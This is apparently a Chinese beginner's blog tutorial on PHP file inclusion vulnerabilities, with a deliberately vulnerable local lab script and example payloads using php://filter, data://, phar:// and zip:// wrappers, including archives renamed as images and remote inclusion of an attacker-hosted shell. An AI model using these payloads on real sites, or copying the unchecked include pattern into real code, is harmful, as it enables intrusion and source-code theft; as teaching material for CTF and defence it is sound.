首先谈谈什么是文件包含
WEB入门——文件包含漏洞与PHP伪协议_文件包含php伪协议_HasntStartIsOver的博客-CSDN博客
文件包含
程序员在编写的时候 可能写了自己的 函数
如果想多次调用 那么就需要 重新写在源代码中
太过于麻烦了
只需要写入 funcation.php
然后在需要引用的地方 利用include funcation.php 函数
就可以调用 function.php的代码
但是如果 网站开发人员 把 include 中的php 作为一个变量
那么普通用户也可以通过传参 来访问 这个文件
就造成了 文件包含漏洞
例如
$a=$_GET['a'];
include $_GET['a'];
这样就对上传的东西 没有控制 那么就可以访问文件了
我们来本地搭建一个环境看看
一个flag 一个test
<?php
highlight_file(__FILE__);
if(isset($_GET['file'])) {
$str = $_GET['file'];
include $_GET['file'];
}
这里就存在漏洞 因为对我们的传参没有限制 我们就可以访问文件了
?file=./flag.txt ./ 表示当前目录
这样就访问了 flag文件
这就是最简单的文件包含漏洞
这里给出常见的文件包含的函数
include
include()
当文件读取到 include()的时候 才把文件包含进来 并且发生错误会发出警告 但是还是会继续执行
include_once
include_once()
一样的 但是 如果文件已经被包含一次
那么就不会再被包含
区别
如果包含了一次第二次就不会执行了
require
require()
和inculde 作用一样 但是如果出错了 就会终止 停止执行
require_once
require_once()
一样的 包含两次的话就不会执行了
区别
和上面一样
highlight_file、show_source
highlight_file() 、show_source()
对文件进行高亮显示 通常可以看到源代码
readfile、file_get_contents
readfile() file_get_contents()
读取文件 送入缓冲区
注意这里会直接解析 php 文件
file_get_contents()
是读取文件作为一个字符串
p
乱码是因为我没有设置解析
fopen
fopen()
打开一个文件或者 url
这里就是文件包含常见的函数
这里我们再给出分类
文件包含漏洞的分类
本地文件包含
被包含的文件在本地服务器中 那么就是本地文件包含
远程文件包含
在
php.ini中的 all_url_fopen和include 打开的话 就会远程文件包含
远程文件包含就是
两个服务器
一个是本地服务器
一个是攻击者的
攻击者的web 根目录中写入 shell
那么
127.0.0.1/test.php?file=服务器的id/shell
这样就可以访问到shell
接下来我们解释 伪协议
伪协议
首先给出常见的 伪协议
file:// 协议
file://[文件的绝对路径和文件名]
访问本地文件
?file=file:///d:\phpstudy_pro\WWW\flag.txt
php:// 协议
php协议有很多
这里给出常用的
php://filter: 用于读源码
php://input: 用于执行php代码
php://filter
这在ctf中 很多都是使用 这个 就可以读取源代码
?file=php://filter/resource=flag.txt
无过滤的读取 直接返回全部
?file=php://filter/read=string.toupper/resource=flag.txt
通过设置read的值 来返回读取的内容
?file=php://filter/convert.base64-encode/resource=flag.txt
通过base64加密后 flag的内容
?file=php://filter/read=string.toupper|convert.base64-encode/resource=flag.txt
通过 大写 并且 base64加密
php://input
需要 allow_url_include 为on
<?php
$user = $_GET["user"];
$pass = $_GET["pass"];
if(isset($user)&&(file_get_contents($user,'r')==="123123")){
echo "hello admin!<br>";
}else{
echo "you are not admin ! ";
}
?>
这里我们就向user 传入了 123123的内容
data:// 协议
条件是 双on (fopen/include)
该协议 可以将 php代码 通过 协议发送并且执行
用法
?file=data://text/plain,<?php phpinfo()?>
?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=
base64加密后
phar://协议
这个伪协议可以访问 解压包中的文件的内容
phar://[解压包路径/被解压文件名称]
我们首先创建一个 shell.zip
里面是 shell.php 内容为 <?php echo 'hello';?>
然后来访问
?file=phar://./shell.zip/shell.php
注意 这个协议无视后缀名
shell.zip 该为 shell.png
?file=phar://./shell.png/shell.php
依旧可以访问
zip:// 协议
和phar协议类似 但是需要的是绝对路径
并且 访问压缩包下的内容和压缩包需要用%23(#的url编码)隔开
?file=zip://../WWW/shell.zip%23shell.php
到这里 常见的伪协议就结束了